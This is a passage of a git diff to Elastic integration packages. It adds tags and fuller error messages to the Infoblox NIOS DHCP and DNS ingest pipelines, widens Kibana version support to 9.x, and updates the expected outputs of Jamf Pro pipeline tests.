(%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$' + - '^%{WORD:event.action} to %{IP:client.ip} \(%{MAC:client.mac}\) via %{WORD:observer.ingress.interface.name}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_RELEASE_message field: message if: ctx.message.contains('RELEASE') patterns: - - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \\(%{DATA:infoblox_nios.log.dhcp.release.info}\\) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$" - - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \\(%{DATA:infoblox_nios.log.dhcp.release.info}\\) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \(%{DATA:infoblox_nios.log.dhcp.release.info}\) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$' + - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \(%{DATA:infoblox_nios.log.dhcp.release.info}\) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPEXPIRE_message field: message if: ctx.message.contains('DHCPEXPIRE') patterns: - - "^%{WORD:event.action} on %{IP:client.ip} to %{GREEDYDATA:client.mac}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} on %{IP:client.ip} to %{GREEDYDATA:client.mac}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPINFORM_message field: message if: ctx.message.contains('DHCPINFORM') patterns: - - "^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.inform.message}$" - - "^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.inform.message}$' + - '^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPDECLINE_message field: message if: ctx.message.contains('DHCPDECLINE') patterns: - - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$" - - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}): %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$' + - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}): %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPNAK_message field: message if: ctx.message.contains('DHCPNAK') patterns: - - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_DHCPLEASEQUERY_message field: message if: ctx.message.contains('DHCPLEASEQUERY') patterns: - - "^%{WORD:event.action} from %{IP:client.ip}: %{GREEDYDATA:infoblox_nios.log.dhcp.lease_query.message}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{WORD:event.action} from %{IP:client.ip}: %{GREEDYDATA:infoblox_nios.log.dhcp.lease_query.message}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_REFUSED_message field: message if: ctx.message.contains('REFUSED') patterns: - - "^%{REVERSE_UPDATE:event.action} for %{IP:client.ip} abandoned because of non-retryable failure: %{DATA:event.outcome}$" - - "^Unable to %{ADD_FORWARD:event.action} from %{DATA:infoblox_nios.log.dhcp.forward_name} to %{IP:infoblox_nios.log.dhcp.ip} by server %{IP:server.ip}#%{NUMBER:server.port:long}: %{DATA:event.outcome}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{REVERSE_UPDATE:event.action} for %{IP:client.ip} abandoned because of non-retryable failure: %{DATA:event.outcome}$' + - '^Unable to %{ADD_FORWARD:event.action} from %{DATA:infoblox_nios.log.dhcp.forward_name} to %{IP:infoblox_nios.log.dhcp.ip} by server %{IP:server.ip}#%{NUMBER:server.port:long}: %{DATA:event.outcome}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' pattern_definitions: ADD_FORWARD: (?i:add forward map) REVERSE_UPDATE: (?i:reverse map update) @@ -119,40 +130,46 @@ processors: value: failure if: ctx.event?.outcome?.equalsIgnoreCase('refused') == true - grok: + tag: grok_Encapsulated_Solicit_message field: message if: ctx.message.contains('Encapsulated Solicit') patterns: - - "^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long} from client DUID %{GREEDYDATA:infoblox_nios.log.dhcp.duid}, transaction ID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long} from client DUID %{GREEDYDATA:infoblox_nios.log.dhcp.duid}, transaction ID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_Advertise_NA_message field: message if: ctx.message.contains('Advertise NA') patterns: - - "^%{DATA:event.action}: address %{IP:client.ip} to client with duid %{GREEDYDATA:infoblox_nios.log.dhcp.duid} iaid = -%{GREEDYDATA:infoblox_nios.log.dhcp.iaid} valid for %{NUMBER:infoblox_nios.log.dhcp.validation_second:long} seconds$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{DATA:event.action}: address %{IP:client.ip} to client with duid %{GREEDYDATA:infoblox_nios.log.dhcp.duid} iaid = -%{GREEDYDATA:infoblox_nios.log.dhcp.iaid} valid for %{NUMBER:infoblox_nios.log.dhcp.validation_second:long} seconds$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_Relay_forward_message field: message if: ctx.message.contains('Relay-forward') patterns: - - "^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long}, link address %{IP:infoblox_nios.log.dhcp.link_address}, peer address %{IP:infoblox_nios.log.dhcp.peer_address}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long}, link address %{IP:infoblox_nios.log.dhcp.link_address}, peer address %{IP:infoblox_nios.log.dhcp.peer_address}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_Encapsulating_Advertise_message field: message if: ctx.message.contains('Encapsulating Advertise') patterns: - - "^%{DATA:event.action} message to send to %{IP:client.ip} port %{NUMBER:client.port:long}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{DATA:event.action} message to send to %{IP:client.ip} port %{NUMBER:client.port:long}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_Sending_Relay_reply_message field: message if: ctx.message.contains('Sending Relay-reply') patterns: - - "^%{DATA:event.action} message to %{IP:client.ip} port %{NUMBER:client.port:long}$" - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{DATA:event.action} message to %{IP:client.ip} port %{NUMBER:client.port:long}$' + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - grok: + tag: grok_fallback_message field: message if: ctx.event?.action == null patterns: - - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$" + - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$' - lowercase: field: event.action ignore_failure: true @@ -166,6 +183,7 @@ processors: field: client.mac ignore_missing: true - convert: + tag: convert_client_ip field: client.ip if: ctx.client?.ip != null && ctx.client.ip != '' type: ip @@ -176,7 +194,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{client.ip}}}' @@ -184,6 +206,7 @@ processors: allow_duplicates: false ignore_failure: true - convert: + tag: convert_dhcp_link_address field: infoblox_nios.log.dhcp.link_address if: ctx.infoblox_nios?.log?.dhcp?.link_address != null && ctx.infoblox_nios.log.dhcp.link_address != '' type: ip @@ -194,7 +217,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.dhcp.link_address}}}' @@ -202,6 +229,7 @@ processors: allow_duplicates: false ignore_failure: true - convert: + tag: convert_dhcp_peer_address field: infoblox_nios.log.dhcp.peer_address if: ctx.infoblox_nios?.log?.dhcp?.peer_address != null && ctx.infoblox_nios.log.dhcp.peer_address != '' type: ip @@ -212,7 +240,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.dhcp.peer_address}}}' @@ -220,6 +252,7 @@ processors: allow_duplicates: false ignore_failure: true - convert: + tag: convert_dhcp_router_ip field: infoblox_nios.log.dhcp.router.ip if: ctx.infoblox_nios?.log?.dhcp?.router?.ip != null && ctx.infoblox_nios.log.dhcp.router.ip != '' type: ip @@ -230,7 +263,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.dhcp.router.ip}}}' @@ -238,6 +275,7 @@ processors: allow_duplicates: false ignore_failure: true - convert: + tag: convert_dhcp_interface_ip field: infoblox_nios.log.dhcp.interface.ip if: ctx.infoblox_nios?.log?.dhcp?.interface?.ip != null && ctx.infoblox_nios.log.dhcp.interface.ip != '' type: ip @@ -248,7 +286,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.dhcp.interface.ip}}}' @@ -256,6 +298,7 @@ processors: allow_duplicates: false ignore_failure: true - convert: + tag: convert_dhcp_relay_interface_ip field: infoblox_nios.log.dhcp.relay.interface.ip if: ctx.infoblox_nios?.log?.dhcp?.relay?.interface?.ip != null && ctx.infoblox_nios.log.dhcp.relay.interface.ip != '' type: ip @@ -266,7 +309,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{infoblox_nios.log.dhcp.relay.interface.ip}}}' @@ -285,4 +332,8 @@ on_failure: value: pipeline_error - append: field: error.message - value: '{{{ _ingest.on_failure_message }}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml index 66e344d34b9..7571764676c 100644 --- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml +++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml @@ -28,6 +28,7 @@ processors: field: _tmp.timestamp target_field: _tmp.timestamp if: ctx._tmp?.timestamp != null && ctx.event?.timezone != null + tag: date_tmp_timestamp_tz timezone: '{{{event.timezone}}}' formats: - dd-MMM-yyyy HH:mm:ss.SSS @@ -38,10 +39,14 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - date: field: _tmp.timestamp target_field: _tmp.timestamp + tag: date_tmp_timestamp_notz if: ctx._tmp?.timestamp != null && ctx.event?.timezone == null formats: - dd-MMM-yyyy HH:mm:ss.SSS @@ -52,7 +57,10 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - script: lang: painless if: ctx.repeat_message != null @@ -176,7 +184,10 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{client.ip}}}' @@ -194,7 +205,10 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{server.ip}}}' @@ -263,4 +277,7 @@ on_failure: value: pipeline_error - append: field: error.message - value: '{{{ _ingest.on_failure_message }}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/infoblox_nios/manifest.yml b/packages/infoblox_nios/manifest.yml index f4376dee8c5..c72450a9bbe 100644 --- a/packages/infoblox_nios/manifest.yml +++ b/packages/infoblox_nios/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: infoblox_nios title: Infoblox NIOS -version: "1.27.1" +version: "1.29.0" description: Collect logs from Infoblox NIOS with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - dns_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/infoblox-nios-screenshot.png title: Infoblox NIOS dashboard screenshot diff --git a/packages/jamf_compliance_reporter/changelog.yml b/packages/jamf_compliance_reporter/changelog.yml index 8de06c2e0a1..f5e1edfe7ff 100644 --- a/packages/jamf_compliance_reporter/changelog.yml +++ b/packages/jamf_compliance_reporter/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.16.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.15.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/jamf_compliance_reporter/manifest.yml b/packages/jamf_compliance_reporter/manifest.yml index 1d362c8ec19..c9622ee09bf 100644 --- a/packages/jamf_compliance_reporter/manifest.yml +++ b/packages/jamf_compliance_reporter/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.3" name: jamf_compliance_reporter title: Jamf Compliance Reporter -version: "1.15.2" +version: "1.16.0" description: Collect logs from Jamf Compliance Reporter with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/jamf-compliance-reporter-screenshot.png title: Jamf Compliance Reporter Screenshot diff --git a/packages/jamf_pro/changelog.yml b/packages/jamf_pro/changelog.yml index f062981e631..69f05f24d46 100644 --- a/packages/jamf_pro/changelog.yml +++ b/packages/jamf_pro/changelog.yml @@ -1,4 +1,27 @@ # newer versions go on top +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "0.4.0" + changes: + - description: Improve host, source and event ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/12760 +- version: "0.3.1" + changes: + - description: Fix related users containing empty string. + type: bugfix + link: https://github.com/elastic/integrations/pull/12872 +- version: "0.3.0" + changes: + - description: Normalize `jamf_pro.inventory.operating_system.version` and `os.version` to three-part versions. + type: enhancement + link: https://github.com/elastic/integrations/pull/12834 + - description: Add `os.full` for known OS versions. + type: enhancement + link: https://github.com/elastic/integrations/pull/12834 - version: "0.2.6" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json index 34e1ac513e0..feb6b5cdb2d 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerAdded", "kind": "event" }, "host": { @@ -75,4 +76,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json index 8461d7be398..753ada2e9ae 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerCheckIn", "kind": "event" }, "host": { @@ -23,9 +24,11 @@ "region_iso_code": "SE-E", "region_name": "Östergötland County" }, + "id": "9595866401", "ip": [ "89.160.20.156" - ] + ], + "name": "YMXA8" }, "jamf_pro": { "events": { @@ -73,10 +76,13 @@ "icpurt@email.com" ] }, + "source": { + "ip": "89.160.20.156" + }, "user": { "email": "icpurt@email.com", "name": "John Doe" } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json index a85fea15f03..12506f6b8d4 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerInventoryCompleted", "kind": "event" }, "host": { @@ -75,4 +76,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json index 39667fb2b92..3ef139957ed 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerPatchPolicyCompleted", "kind": "event" }, "host": { @@ -23,9 +24,11 @@ "region_iso_code": "SE-E", "region_name": "Östergötland County" }, + "id": "1039039321", "ip": [ "89.160.20.156" - ] + ], + "name": "2ECRW" }, "jamf_pro": { "events": { @@ -79,10 +82,13 @@ "febjoz@email.com" ] }, + "source": { + "ip": "89.160.20.156" + }, "user": { "email": "febjoz@email.com", "name": "John Doe" } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json index 626cef63627..b9c4f7c7787 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerPolicyFinished", "kind": "event" }, "host": { @@ -23,9 +24,11 @@ "region_iso_code": "SE-E", "region_name": "Östergötland County" }, + "id": "5836625775", "ip": [ "89.160.20.156" - ] + ], + "name": "GBTN2" }, "jamf_pro": { "events": { @@ -73,10 +76,13 @@ "fsekfn@email.com" ] }, + "source": { + "ip": "89.160.20.156" + }, "user": { "email": "fsekfn@email.com", "name": "John Doe" } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json index ab253f36c71..5ec9d6c5f96 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "ComputerPushCapabilityChanged", "kind": "event" }, "host": { @@ -75,4 +76,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json index f2f03206f01..b05293152c8 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "DeviceAddedToDEP", "kind": "event" }, "jamf_pro": { @@ -27,4 +28,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json index 99194514567..a38ca4beaf4 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "JSSShutdown", "kind": "event" }, "jamf_pro": { @@ -26,4 +27,4 @@ } } ] -} \ No newline at end of file +} diff --git 